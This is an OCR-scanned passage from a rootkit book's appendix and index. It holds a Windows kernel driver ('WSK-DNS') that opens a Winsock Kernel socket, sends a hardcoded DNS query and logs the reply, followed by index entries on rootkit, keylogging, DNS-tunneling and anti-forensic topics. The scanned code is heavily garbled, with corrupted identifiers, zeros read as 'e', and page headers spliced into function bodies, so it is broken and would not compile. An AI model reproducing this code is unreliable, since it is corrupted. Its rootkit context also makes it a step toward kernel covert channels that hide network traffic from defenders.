PWSK_APP_SOCKET_CONTEXT socketContext; UNREFERENCED]ARAMETER(DeviceObject) ; if *Irp). IoStatus . Status ! = STATUS_SUCCESS) { DbgMsg( "BindSocketIRPComplete", "IRP indicates error status"); else { DbgMsg( "BindSocketIRPComplete", "IRP indicates socket bind success " ) ; DBG_PRINT2 C [BindSocketIRPComplete] : bind ntstatus=%x", (*Irp) . IoStatus . Status) ; socketContext = (PWSK_APP_SOCKET_CONTEXT)Context;
UNREFERENCED]ARAMETER(DeviceObject) ; UNREFERENCED]ARAMETER(Context) ; if *Irp).IoStatus.Status != STATUS_SUCCESS) { DbgMsg("SetRemoteIRPComplete", "IRP indicates error status"); DBG]RINT2(" [SetRemoteIRPComplete] : set remote ntstatus=%x", (*Irp). IoStatus. Status); else { DbgMsg("SetRemoteIRPComplete", "IRP indicates set remote success " ) ; DBG]RINT2(" [SetRemoteIRPComplete]: set remote ntstatus=%x", ( *Irp). IoStatus. Status);
PWSK_BUF datagramBuffer ; IJ'nORD byteCount; UNREFERENCED]ARAMETER(DeviceObject) ; if *Irp) . IoStatus.Status != STATUS_SUCCESS) { DbgMsg("SendDatagramIRPComplete", "IRP indicates error status"); else {
Appendix 1885
Appendix I Chapter 11
datagramBuffer = (PWSK _BUF) Context ; byteCount = (ULONG)(Irp- >IoStatus . Information) ; DbgMsg( "SendDatagramIRPComplete", "IRP indicates datagram send success"); DBG_ PRINT2(" [SendDatagramIRPCompletel : send ntstatus=%x ", ( *Irp) . IoStatus. Status) ; DBG]RINT2 ( " [ SendDatagramIRPCompletel : bytes sent=%d ", byteCount) ;
PWSK _BUF datagramBuffer ; DWORD byteCount ; DWORD i; UNREFERENCED_PARAMETER(DeviceObject) ; if * Irp) . IoStatus .Status != STATUS_SUCCESS) { DbgMsg( "RecvDatagr amIRPComplete" , "IRP indicates error status"); DBG]RINT2(" [RecvDatagramIRPComplet el : ntstatus=%x", ( *Irp) . IoStatus . Status); else { datag r amBuffer = (PWSK_BUF)Context; byteCount = (ULONG)( Irp- >IoStatus . Information) ; DbgMsg( " RecvDatagramIRPComplete " , " IRP indicates datagram recv success") ; DBG]RINT2 ( " [ RecvDatagramIRPCompletel : bytes recei ved=%d" ,byteCount) ; for ( i=0 ; i <byteCount; i++) { DBG]RINT3 ( " [ RecvDatagramIRPCompletel : byte [%03d 1 =%02X" , i, dnsBuffer[ i 1) ;
PWSK _APP _SOCKET_CONTEXT s ocketContext; UNREFERENCED]ARAMETER(DeviceObject) ; if *Irp) . IoStatu s .Status != STATUS_SUCCESS) { DbgMsg( "CloseSocketIRPComplete", "IRP indicates error status");
} e lse {
DbgMs g("Clos eSoc ketIRPComplete ", "IRP i ndicates socket clos e success"); socketContext = (PWSK_APP _SOCKET_CONTE XT)Context ;
886
Appendix
Project: WSK-DNS
11-------------- - - ---- -------------------------------- ------- ---------- -------IICore Driver Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -I 1- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - --- - - - - - -- - - -void ini tDNSSocketContext(PWSK_APP_SOCKET_CONTEXT socketContext) { DWDRD i;
l/for registration
( *socketContext) .WskAppDispatch . Version = MAKE_WSK_VERSION(1,9); ( *socketContext) .WskAppDispatch . Reserved = 9; ( *socketContext). WskAppDispatch. WskClientEvent=NULL; Iino callbacks ( *socketContext) . wskClientNpi. ClientContext=NULL; ( *socketContext). wskClientNpi .Dispatch=&( (*socketContext). WskAppDispatch);
IllS
ms
Appen di X
I 887
Appendix / Chapter 11
NTSTATUS getLocalTransportAddress(PWSK_APP_SOCKET_CONTEXT socketContext) { PWSK]ROVIDER_DATAGRAM_DISPATCH dispatch ; NTSTATUS ntStatus; BYTE LocalAddressBuffer[SZ_ADDRESS_BUFFER] ; DWORD nBytesReturned ; PSOCKET_ADDRESS_LIST socketAddressList; SOCKET_ADDRESS socketAddress; SOCKADDR_IN localAddress; dispatch = (PWSK]ROVIDER_DATAGRAM_DISPATCH) (*( (*socketContext). socket .Dispatch; ntStatus = (*dispatch) .WskControlSocket ( I lIN PWSK_SOCKET Socket ( *soc ketContext). socket, IIIN WSK_CONTROL_SOCKET_TYPE RequestType WskIoctl, SID_ADDRESS_ LIST_QUERY, I lIN ULONG ControlCode e, I lIN ULONG Level e, I/IN SIZE_T InputSize I /IN PVOID InputBuffer OPTIONAL NULL , SZ_ADDRESS_ BUFFER, I lIN SIZE_T OutputSize I lOUT PVOID OutputBuffer OPTIONAL LocalAddressBuffer, I lOUT SIZE_T *OUtputSizeReturned OPTIONAL &nBytesReturned , I lIN PIRP Irp OPTIONAL NULL ); if(NT_SUCCESS(ntStatus) ) { socketAddressList = (PSOCKET_ADDRESS_LIST) LocalAddressBuffer; DBG_PRINT2(" [getLocalTransportAddress] : nBytesReturned=%d\n", nBytesReturned); DBG]RINT2( " [getLocal TransportAddress] : addrs=%d\n", ( *socketAddressList). iAddressCount) ; socketAddress = (*socketAddressList) .Address[e]; localAddress = * PSOCKADDR_IN)socketAddress .1pSockaddr); DBG]RINT2(" [getLocal TransportAddress] : addrs=%X\n", localAddress. sin_addr . S_un); (*socketContext) .1ocalAddress = localAddress; } return (ntStatus) ; }/*end getLocalTransportAddress() ------- ---- -- --------------- -- --- -- ---------*1 NTSTATUS BindSocket(PWSK_APP_SOCKET_CONTEXT socketContext) { PIRP irp ; PWSK_PROVIDER_DATAGRAM_DISPATCH dispatch; NTSTATUS ntStatus; irp = IOAllocateIrp(l,FALSE); if (irp==NULL){ return(STATUS_INSUFFICIENT_RESOURCES); IoSetCompletionRoutine ( irp, I lIN PIRP Irp I lIN PID_COMPLETION_ROUTINE Completion Routine BindSocketIRPComplete, I lIN PVOID Context socketContext, I lIN BOOLEAN InvokeOnSuccess TRUE, I lIN BOOLEAN InvokeOnError TRUE , I lIN BOOLEAN InvokeOnCancel TRUE ); (PWSK_PROVIDER_DATAGRAM_DISPATCH) (*( (*socketContext). socket . Dispatch; dispatch (*dispatch) . WskBind ntStatus ( (*socketContext). socket, (PSOCKADDR)&( (*socketContext) . localAddress) , e, I I No flags irp
888
Appendix
Project: WSK-DNS
{
NTSTATUS ntStatus ; PIRP irp; PWSK ]ROVIDER_DATAGRAM_DISPATCH dispatch ; irp = IoAllocateIrp(l,FALSE); if (irp==NULL){ return(STATUS_INSUFFICIENT_RESOURCES) ; IoSetCompletionRoutine ( irp, II IN PIRP Irp Se ndDatagramIRPComplete, I lIN PIO_CO'1PLETION_ROUTINE CompletionRoutine buff, I l IN PVOID Context TRUE, I lIN BOOLEAN InvokeOnSuccess TRUE, I lIN BOOLEAN InvokeOnError TRUE I lIN BOOLEAN InvokeOnCancel ); dispatch = (PWSK]ROVIDER_DATAGRAM_DISPATCH) ( * ( ( *socketContext). soc ket)) . Dispatch; ntStatus = ( *dispatch) .WskSendTo ( ( *socketContext) . socket, I lIN PWSK_SOCKET Socket buff, IIIN PWSK_BUF Buffer e, I l IN ULONG Flags (reserved)
A pen di X p
I 889
Appendix / Chapter 11
I/I N PSOCKADOR RemoteAddress OPTIONAL II IN SIZE_T ControlInfoLength I /IN PCMSGHOR ControlInfo OPTIONAL I l IN PIRP Irp
); r eturn ( ntStat us) ; }/* end sendOat a gram() - -- - - - ---- - - ----- - ------ - ----- ------ ----- - - - - - -- - - -- ----* I
NTSTATUS rec vDatag ram ( PWSK_APP_SOCKET_CONTEXT socketContext, PWSK_BUF buff)
{
NTSTATUS ntStat us; PIRP i rp; PW SK]ROVIDER_DATAGRAM_DISPATCH dis patch ; irp = IoAllocateIr p( l , FALSE ); if (irp== NULL){ ret urn (STATUS_INSUFFICIENT_ RESOURCES) ; IoSet CompletionRoutine ( I/IN PIRP Irp i r p, RecvDatag r amIRPComplet e, I l IN PIO_CO'1PLETION_ROUTINE Completion Routine buff, I l IN PVOID Context TRUE, I /IN BOOLEAN InvokeOnSuccess I/I N BOOLEAN InvokeOnError TRUE , TRUE I l IN BOOLEAN InvokeOnCancel ); di s pa t c h = ( PWSK]ROVIDER_DATAGRAM_DISPATCH) ( * ( ( *socketContext). socket . Dispatch ; ntStatus = ( ' di s pat ch ) . WskReceive From ( ( *socketContext). soc ke t , I /IN PWSK_SOCKET Socket II IN PWSK_BUF Buffer buff , I l IN ULONG Flags ( r e served) 0, NU LL, l l OUT PSOCKADOR RemoteAddress OPTIONAL ULL, I /IN OUT PULONG ControlInfoLength OPTIONAL N llOUT PCMSGHDR ControlInfo OPTIONAL NULL, NULL, I lOUT PULONG ControlFlags OPTIONAL irp I l IN PIRP Irp ); r eturn ( ntSt at us) ; }/*end r ecvDa ta g ram () ------ - - - -- - - --- -- - - ---- - - - - -- - - - - ---- - --- -- - - -- - - - - ----*1 N TSTATUS closeDNSSoc ket ( PWSK_APP_SOCKET_CONTEXT s ocketContext) { NTSTATUS ntStat us; PI RP irp ; PWSK_PROVIDER_ BAS I C_DISPATCH dispatc h ; irp = IOAllocateI r p ( l , FALSE); if (irp==NULL ){ ret ur n(STATUS_INSUFFICIENT_ RESOURCES); IoSetCompletion Routine ( I/I N PIRP Irp i rpJ CloseSocket IRPComple t e, I/IN PIO_CO'1PLETION_ ROUTINE CompletionRoutine socketContext, I I IN PVOID Context TRUE, I l IN BOOLEAN InvokeOnSuccess I I IN BOOLEAN InvokeOnError TRUE , TRUE I l IN BOOLEAN InvokeOnCancel ); dis patc h (PWSK_PROVIDER_ BASIC_DISPATCH) (*( (* soc ketContext) . socket . Dispatch; ( *dis patc h ) . W skCloseSoc ket ntStat us ( ( *socketContext). socket , i rp ); r etu rn (ntStatus) ; }I* end closeDNSSocket() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
890
A pen dI X p
Project: WSK-DNS
- -- -------
--
- ---------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { NTSTATUS ntStatus; DbgMsg( "OnUnload", "Received signal to unload the driver" ); IoFreeMdl(dnsrDL) ; if(socketContext. socket! =NULL) { ntStatus = closeDNSSocket(&socketContext); if( !NT_SUCCESS(ntStatus { DbgMsg("OnUnload", "Socket close failed"); DBG]RINT2(" [OnUnload] : nstatus==%x\n", ntStatus) ; } else if(ntStatus==STATUS]ENDING){ DbgMsg( "OnUnload", "Socket closure PENDING"); } else{ DbgMsg( "OnUnload", "Socket close success"); } } else { DbgMsg("OnUnload" , "Socket not created, skip closing");
WskReleaseProviderNPI(&( socketContext .WskRegistration; WskDeregister(&(socketContext .WskRegistration; DbgMsg("OnUnload" , "NPI Provider released and Unregistered with WSK"); DbgMsg( "OnUnload", "Driver clean-up completed- - - - - - - - - - - - - - - - - - - - - - - - - - "); return j }/'end OnUnload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' / NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT pDriverObject, IN PUNICOOE_STRING regPath NTSTATUS ntStatus; DWORD i; DbgMsg( "DriverEntry", "Driver is loading- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -"); for(i=el; i <IRP_MJ_MAXI/oUlJUNCTION;i++)
{
('pDri verObject) . MajorFunction [i] = defaultDispatch; } ('pDri verObj ect) . Dri verUnload = OnUnload; / /Step el) init the application's context ini tDNSSocketContext (&socketContext) ; / /Step 1) connect to networking subsystem ntStatus = WskRegister
(
Appendix 1891
Appendix I Chapter 11
);
if(! NT_SUCCESS(ntStatus { DbgMsg( "DriverEntry", "WSK Registration Failed"); return (ntStatus) ; } DbgMsg("DriverEntry", "WSK Registration Success"); / /Step 2) Capture provider NPI in order to use interface ntStatus = WskCaptureProviderNPI
(
if( ! NT_SUCCESS (ntStatus)) { if(ntStatus == STATUSJlOINTERFACE) { DbgMsg("DriverEntry", "requested version is not supported"); } else if(ntStatus == STATUS_DEVICE_NOT_READY) { DbgMsg( "DriverEntry", "WskDeregister was invoked in another thread"); } else { DbgMsg( "DriverEntry", "NPI Capture Failed"); } return (ntStatus) ; } DbgMsg("DriverEntry", "Capture Provider NPI Success"); / /Step 3) create a kernel -mode socket ntStatus = createDNSSocket(&socketContext); if(! NT_SUCCESS(ntStatus)) { DbgMsg( "DriverEntry", "Socket creation failed"); DBG]RINT2(" [DriverEntry]: nstatus==%x\n", ntStatus); return (ntStatus); } if(ntStatus==STATUS_PENDING){ DbgMsg( "DriverEntry", "Socket creation PENDING"); } else{ DbgMsg( "DriverEntry", "Socket creation success"); } //Step 4) determine a local transport address ntStatus = getlocalTransportAddress(&socketContext); if(! NT_SUCCESS(ntStatus { DbgMsg("DriverEntry", "Address query failed"); DBG_PRINT2C' [DriverEntry] : nstatus==%x\n ", ntStatus); return(ntStatus) ; } i f( ntStatus==STATUS]ENDING) { DbgMsg( "DriverEntry", "Address query PENDING"); } else { DbgMsg("DriverEntry", "Address Query success"); / /Step 5) bind socket to local transport address
892
A pen di X p
Project: WSK-DNS
ntStatus = BindSocket(&socketContext); if( !NT_SUCCESS(ntStatus { DbgMsg( "DriverEntry", "Socket bind failed"); DBG_PRINT2(" [DriverEntry]: nstatus==%x\n", ntStatus); return (ntStatus) ; } if(ntStatus==STATUS_PENDING){ DbgMsg("DriverEntry", "Socket bind PENDING " ); } else{ DbgMsg( "DriverEntry", "Socket bind success"); } / /Step 6) set remote address ntStatus = setRemoteAddress(&socketContext); if( !NT_SUCCESS(ntStatus { DbgMsg( "DriverEntry", "Address set failed"); DBG]RINT2 ( " [Dri verEntry]: set nstatus==%x\n", ntStatus) ; return (ntStatus) ; } if (ntStatus==STATUS_PENDING) { DbgMsg("DriverEntry", "Address set PENDING "); else { DBG]RINT2
(
if(dnsMDL==NULL) { DbgMsg( "DriverEntry", "could not allocate dnsMDL"); } I'rnBuildMdIForNonPagedPool( dnsMDL); for( i =0; i <SZ_DNS_QUERY; i++){ dnsBuffer[i]=dnsQuery[ i] ; DatagramSendBuffer . MdI = dnsMDL ; DatagramSendBuffer . Offset = 0; DatagramSendBuffer. Length = SZ_DNS_QUERY; ntStatus = sendDatagram(&socketContext, &DatagramSendBuffer); if( !NT_SUCCESS(ntStatus { DbgMsg( "DriverEntry", "Datagram send failed"); DBG]RINT2(" [DriverEntry]: nstatus==%x\n" ,ntStatus); return (ntStatus) ;
}
if(ntStatus==STATUS_PENDING){ DbgMsg( "DriverEntry", "Datagram send PENDING"); else{ DbgMsg( "DriverEntry", "Datagram send success"); } / /Step 8) recv DNS answer
Appendix 1893
Appendix
I Chapter 11
DatagramRecvBuffer.Mdl = dnsMDL ; DatagramRecvBuffer . Offset = e; DatagramRecvBuffer . Length = SZ_DNS_BUFFER; ntStatus = recvDatagram( &socketContext, &DatagramRecvBuffer) ; if( !NT_SUCCESS(ntStatus)) { DbgMsg("'DriverEntry", "Datagram recv failed"); DBG_PRINT2(" [DriverEntry] : nstatus==%x\n" ,ntStatus); return (ntStatus) ; } if(ntStatus==STATUS]ENDING){ DbgMsg( "DriverEntry", "Datagram recv PENDING"); else{ DbgMsg( "DriverEntry", "Datagram recv success"); } / /Step 9) close up shop DbgMsg( "DriverEntry", "DriverEntry() completed without errors"); return ( STATUS_SUCCESS); }/*end DriverEntry() - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - * /
894
A pen di X p
Index
!cpuid debugger command, 234 !ivt debugger command, 107 !list debugger command, 413 !lmi debugger command, 157 !peb debugger command, 88, 96 !process debugger command, 86, 96, 171 !pte debugger command, 88, 90, 92 !token debugger command, 421 !vtop debugger command, 93, 94 #BP trap, 586 #DB trap, 586 #Gp, see general protection exception #PF, see page fault exception #pragma directives, 20, 573, 575 $BadClus file, 389 $Bitmap file, 389 $DATA attribute, 561 $FILE _NAME attribute, 560 $SECURITY_DESCRIPTOR attribute, 561 $STANDARD_INFORMATION attribute, 560 .bss section, 574 .crash debugger command, 175 .data section, 574 .edata section, 574 .formats debugger command, 91, 160 .idata section, 574, 578 .process meta-command, 87 .rdata section, 574 .reloc section, 574 .rsrc section, 574 .text section, 574 .textbss section, 574 . /DYNAMIC BASE linker option, 98 /NXCOMPAT linker option, 100 \Device\msnetdiag, 187-188 \Device\PhysicaIMemory, 208, 225, 230 _ declspec( dllimport), 293 _ declspec(naked), 276 _NT_DEBUG_BAUD_RATE,167 _NT_DEBUG_LOG]ILE_OPEN, 150, 167 _NT_DEBUG]ORT, 167 _NT_SOURCE]ATH, 150, 152 _NT_SYMBOL PATH, 150, 167 _SEH_epilog4,347 _SEH""prolog4,347 80286 processor, 26 80386 processor, 26 8086/88 processor, 25, 26
A
abort, 38 Absolute Software, 220 access control entry (ACE), 414 access token, 414 AccessDetour program, 377 ACPI, see advanced configuration and power interface ACPI driver, 468 active partition, 124 ActiveProcessLinks field, 409, 410, 422 address space layout randomization (ASLR), 98 address windowing extensions (AWE), 82 ADDRESS_INFO structure, 578 ADInsight tool, 534, 535 ADS, see alternative data stream advanced configuration and power interface (ACPI),129 advapi32.dll, 101, 104, 105 adware,17 afd.sys ancillary function driver, 612 air-gap security, 145 AIX,24 Al-Qaeda, 678 alternative data stream (ADS), 517, 522 Alwan, Rafid Ahmed, 679 Angleton, James Jesus, 11 anti-forensic strategies, 496 AntiHook program, 320 Antivirus Information and Early Warning System (AVIEWS), xxi
895
Index
Antivirus Information Exchange Network (AVIEN), xx AppInit_DLLs registry value, 250 application layer hiding, 549 armoring, 569 ASEp, see auto-start extensibility point ASLR, see address space layout randomization at.exe tool, 503 Atsiv utility, 227 authentication, 414 authorization, 414 autochk.exe, 132 Autodump+ tool, 511 autorunsc.exe tool, 503 auto-start extensibility point (ASEP), 213 auto-update, 224 AVIEN, see Antivirus Information Exchange Network AVIEWS, see Antivirus Information and Early Warning System AWE, see address windowing extensions AX general register, 34, 56 Aycock, John, xx-xxi
B
bad sectors, 388 Barreto, Paulo, 526 base 64 encoding, 568 basic VO system (BIOS), 124 bc debugger command, 154 BCD, see boot configuration data hive bcdedit.exe, 81, 82, 93, 102, 130 Bejtlich, Richard, xxvi, 493 BHO, see browser helper object binary patching, 340, 379 BinText.exe tool, 510 BIOS parameter block (BPB), 558 BIOS, see basic VO system bl debugger command, 154 BlackLight tool, 451 bloat, 595 Blue Pill Project, 674 blue screen of death (BSOD), 137 Bochs emulator, 394 Bochsrc file, 394 Boileau, Adam, 515 boot class device driver, 129
boot configuration data (BCD) hive, 126 boot.ini, 94 bootable partition, 124 BootExecute registry value, 132 bootkit, 387 loader, 387 bootmgfw.efi, 126 bootmgr, 125, 396-397 bootmgr.efi, 126 bootvid.dll, 102, 103, 128 bot herder, 18 botnet, 18 bp debugger command, 154 BP stack frame pointer register, 34, 56 BRADLEY virus, 580 breakpoint, 586 browser helper object (BHO), 215 BSOD, see blue screen of death .bss section, 574 bug check, see blue screen of death build.exe, 194-195 bus driver, 458 Butler, James, xxvi, 24, 145, 233, 405, 516 BX general register, 34, 56 bximage.exe tool, 395
(
C programming language, xxiv C2, see command and control call-gate descriptor, 70, 308, 309 CALL_GATE_DESCRIPTOR structure, 309 CALL instruction, 39 call table, 160, 244 Carradine, David, 436 Carvey, Harlan, xxvi ccrypt.exe tool, 217 Cdb.exe debugger, 149, 150, 153 CDECL calling convention, 277 centralized function dispatching, 595 Cerf, Vint, 18 Chalabi, Ahmed, 679 Chapman, Rick, xxvii checksum, 526 detection, 399, 452 CHHS IT Think Tank, xxvi class driver, 459 clearing data, 542 clfs.sys driver, 412
896
Index
CLI instruction, 37 CLIENT_ID structure, 445 CloseServiceHandleO, 201 cluster, 384, 549 cmd.exe shell, 397 code interleaving, 594 code morphing, 590 collision resistant, 526 COM, see Component Object Model command and control (C2), 11, 18, 603 complete memory dump, 173 Component Object Model (COM), 215 computer forensics, 495, 659 Computrace, 220, 607 conforming code segment, 61 Consumer Reports magazine, xxi control bus, 26 control registers CRO-CR04, 55 conventional memory, 30 CoPilot tool, 515 covert channel, 603, 663 CPL, see current privilege level CRO, 55, 64, 66, 75, 77, 288 CR1, 55, 66 CR2, 55, 66 CR3, 55, 62, 66, 77, 86, 93 CR4, 55, 66 .crash debugger command, 175 crash dump, 163, 173 CrashOnCtriScroll registry value, 174 Crazy lord, xxvi, 208, 230 CreateRemoteThreadO routine, 252 CreateServiceO, 199, 200 CreateToolhelp32SnapshotO routine, 437 CRITICAL STRUCTURE CORRUPTION stop cod~, 229 cross-time diff, 529 cross-view diff, 436, 529 cryptor,572 Cryptor program, 578 CS code segment register, 34, 55, 69, 77
Curveball, 679 CX general register, 34, 56 Cygnus hex editor, 144, 147
D
d* debugger command, 159 Dameware Mini Remote Control (DMRC) tool, 8, 603 Darik's Boot and Nuke (DBAN), 146 data aggregation, 591 bus, 26 contraception, 497, 597-598, 662 destruction, 496 encoding, 591 fabrication, 496, 497 hiding, 496 ordering, 591 transformation, 496, 497 data execution protection (DEP), 82 Data Mule FS tool, 556 .data section, 574 DBG]R1NT macro, 180 DbgPrintO routine, 181 DBG_TRACE macro, 180 dcfldd tool, 519-520 DCOM, see Distributed Component Object Model dd command, 146, 380, 458, 510, 539 DDefy rootkit, 541, 661 DDoS, see distributed denial of service debug.exe tool, 35, 393 DEC Alpha processor, 79 decryptor, 569 DEF file, 274 default cluster size, 550 default IRP dispatch routine, 183 deferred procedure call (DPC), 234 Defiler's toolkit, 543 demand paged virtual memory, 61 DEP, see data execution protection DependOnService registry key, 6-7 descriptor privilege level (DPL), 59, 68, 77 detour patching, 338, 341-342, 346 device object, 460 stack, 459 device configuration overlay (DCO), 538
897
Index
device lRQL (DIRQL), 232 DeviceIoControlO routine, 191, 192 DeviceTree.exe tool, 467 dg debugger command, 85 DI data destination index register, 34, 56 Dircon.net, 5 direct jump, 39 direct kernel object manipulation (DKOM), 53, 405 DIRQL, see device lRQL discretionary access control list (DACL), 414 disk cylinder, 384 head,384 sector, 384 dispatch rD, 108 DISPATCH_LEVEL lRQL, 232 Distributed Component Object Model (DCOM),405 distributed denial of service (DDoS), 18 DKOM, see direct kernel object manipulation DLL, see dynamic-link library DLL injection, 250 DNS header, 617 label, 618 query format, 617-618 question, 617 response format, 619 tunneling, 607, 617 DO BUFFERED 10,474 DO=DEVICE_INlTIALIZING flag, 474 DO]OWER_PAGEABLE,474 Donahue, Tom, 21 DoReadProcO, 647 DOS extenders, 30 DoWriteProcO, 647 DPC, see deferred procedure call DPL, see descriptor privilege level drive slack, 551 driver stack, 177, 458-459, 460-461 DriverEntryO routine, 178-179 DRIVER_OBJECT structure, 179,306, 411-412,428 DRIVER_SECTION structure, 411-412, 428 drivers.exe tool, 143, 147, 189,431,502 dropper, 210, 216 DS data segment register, 34, 55
dt debugger command, 158 dumpbin.exe, 102, 144, 147,206,208,532 dumpchk.exe tool, 512 DX general register, 34, 56 dynamic-link library (DLL), 247, 249
E
EAX general register, 56 EBP stack frame pointer register, 56 EBX general register, 56 ECX general register, 56 .edata section, 574 EDI data destination index register, 56 EDX general register, 56 effective address, 27 EFI, see extensible firmware interface EFLAGS register, 56 EFS, see Windows Encrypting File System EIP instruction pointer register, 56 El Torito specification, 396 Ellsberg, Daniel, 678 EnCase, 519 EnumerateDevicesO, 646, 647 EnumProcessModulesO routine, 328 environmental key, 580 subsystem, 103 epilog detour, 343 EPROCESS structure, 86, 171, 406 Ericsson AXE switches, 14 ES extra segment register, 34, 55 ESI data source index register, 56 ESP stack pointer register, 56 ETHREAD structure, 406, 409 Eudora, 17 evilize tool, 548 exception, 39 Execryptor tool, 591 EX]AST_REF structure, 419 explorer.exe, 134 exported symbols, 151 extended memory, 30 partition, 124 extended BIOS parameter block (EBPB), 558 extensible firmware interface (EFI), 124 external interrupt, 37
898
Index
F
far jump, 38, 315-316 pointer, 27 FASTCALL calling convention, 277 fault, 38 fc.exe command, 528 Fermi, Enrico, 13 Field, Scott, 229 FILE_BASIC_INFORMATION structure, 524 file carving, 521 FILE_DEVICE_RK, 186 file encryption key (FEK), 539 FILE_INFORMATION_CLASS structure, 302,546 file insertion and subversion technique (FIST),555 FILE_READ_DATA,186 File Scavenger, 521 file system analysis, 517, 660-663 attacks, 497 file wiping, 542 FILE_WRlTE_DATA,186 filter drivers, 457-458 find.exe tool, 507 findFU program, 442 first-generation forensic copy, 499, 517 FIST, see file insertion and subversion technique Fixup_Remainder_global variable, 360 Fixup_Tramp_global variable, 360 FLAGS register, 34 flat memory model, 27 floppy emulation, 396 footprint vs. failover, 600 footprinting, 9 force mUltiplier, 12 Ford, Lucas, xxvi . Foremost tool, 521 .formats debugger command, 91, 160 FragFS rootkit, 566 free build of Windows, 152 symbols, 152 FS segment register, 34, 55
F-Secure, 451 FTK,519 FU rootkit, 24, 405 full content data capture, 604, 663 full symbol file, 151 function driver, 458 FUTo rootkit, 402, 406
G
g debugger command, 155 Garner, George M., 510 gate descriptor, 70 gdi32.dll, 101, 104, 105 GDT, see global descriptor table GDTR register, 55, 58, 67, 77,84 general protection exception (#GP), 67, 69, 73, 77 GetAsyncKeyStateO, 485, 488 GetModuleFileNameExO routine, 329 GetOptionsO routine, 646, 647 GetSrcMacO routine, 647 Global Descriptor Table (GDT), 57, 77, 308
H
hal.dll, 101, 128 handle.exe tool, 503 HANDLE_TABLE structure, 443 Harbour, Nick, 519 hard drive emulation, 396 hardware abstraction layer, 79, 101 breakpoints, 586 emulator, 393 interrupt, 37 hash function, 526 HBeat program, 222 heartbeat signal, 221 Heise Security, xxi hidden sector, 387 HideTSR program, 46
899
Index
IoCallDriverO routine, 461, 465 IoCompleteRequestO routine, 466 IoGetCurrentIrpStackLocationO routine, 464 IoGetDeviceObjectPointerO, 306 Ionescu, Alex, 227 IopInvalidDeviceRequestO routine, 325 IP instruction pointer register, 34, 56 ipconfig.exe tool, 501 IPS, see intrusion prevention system IRET instruction, 38-39 IRP, see I/O request packet IRP completion, 460, 465 Completion Routine pointer, 463 dispatch routines, 183 header, 462 makeup, 461 processing, 460 IRP_MLDEVICE _CONTROL, 182, 193 IRP_MLREAD, 182 IRP_MLWRITE, 182 IRP_MLXXX, see major function code IRQL, see interrupt request level IRQL program, 236 IRQLs vs. thread scheduling, 232 isDebuggerPresentO routine, 587 ISR, see interrupt service routine IVT, see Interrupt Vector Table
J
Jackson, Tim, 80 James, Henry, xix JE instruction, 399 JMP instruction, 39 JNE instruction, 399 John The Ripper, 7 Jones, Keith, xxvi
.K
KAPC_STATE structure, 408 .Kbdclass driver, 468 kbdclass.sys driver, 459 Kd.exe debugger, 144, 149, 161 KD_DEBUGGER_NOT_PRESENT, 588 kd1394.dll, 128 kdcom.dll, 128 kdusb.dll, 128 Keller, Alex, xxvi
kernel memory dump, 173 mode, 100 space, 93, 97 kerneI32.dll, 101, 104, 105 kernel-mode code signing (KMCS), 225 kernel-mode driver (KMD), 176 kernel patch protection (KPP), 225, 229, 400 KeServiceDescriptorTable, 111-112, 287 KeServiceDescriptorTableShadow, 111-112 KeSetAffinityThreadO routine, 286, 325, 326 KEYBOARD _INPUT_DATA structure, 473 KeyCarbon keystroke logger, 484 KiDebugServiceO routine, 315 KiEndUnexpectedRange routine, 107 KiFastCallEntry, 119, 283, 285 KiFastSystemCall routine, 118 KiInitialThread symbol, 406 KillDOS program, 40 KiLogr filter driver, 468-469 KiLogr.txt, 481 KiLogr-V01 program, 470 KiLogr-V02 program, 476 KiServiceTable, Ill, 112 KiSystemServiceO routine, 108, 109, 275 KiSystemStartupO, 130 Klismafile tool, 543 Klu Klux Klan, 678 KMCS see kernel-mode code signing KMD, see kernel-mode driver KMode registry value, 132 known bad files, 528, 547, 548 known good files , 503, 519, 527, 547 KnownDLLs reistry key, 132 KntDD.exe tool, 511 Komoku, 515 Kornblum, Jesse, 509, 526, 530 KPp, see kernel patch protection KPROCESS structure, 86 KTHREAD structure, 407 Kumar, Nitin and Vipin, xxvi, 395 KY FS tool, 556
L
Lampson, Butler, 608 land mines, 590 Lao Tse, 669 layered driver paradigm, 53
901
Index
LCN, see logical cluster number LdmSvc, see logical disk management service LDR_DATA_TABLE_ENTRY structure, 331 LDT, see Local Descriptor Table LDTR register, 55 Ledin, George, xx, 3 Lettvin, Moishe, 20 LGDT instruction, 58, 70 LIB file, 248 LIDT instruction, 32, 70, 271 Linchpin Labs, 227 linear address, 27, 61 linear address space, 27 Linux-NTFS project, 556, 675 LIST_ENTRY structure, 158, 332-333,410, 427 listdlls.exe tool, 503 little-endian, 52, 161 Liu , Vinnie, xxv i, 493 , 546 live incident response, 422, 498, 660 LiveKd. exe tool, 163,513 1m debugger command, 157 loading a KMD versus launching a rootkit, 210 load-time dynamic linking, 247-248 Local Descriptor Table (LDT), 57 local kernel debugging, 162 local security authority subsystem (lsass.exe), 134 local session manager (lsm.exe), 134 Locard's Exchange Principle, 493 logexts.dll, 535 logger.exe tool, 534, 535, 537 logical address, 27 logical cluster number (LCN), 558, 562 logical disk management service (LdmSvc), 6 logon user interface host (logonui.exe), 134 logonsessions.exe tool, 502 Iogviewer.exe, 535 Lou, Guanzhong, 23 low memory, 25 lower filter driver, 460 Isass.exe, see local security authority subsystem Ludwig, Mark, xxi, xxvi, 16
M
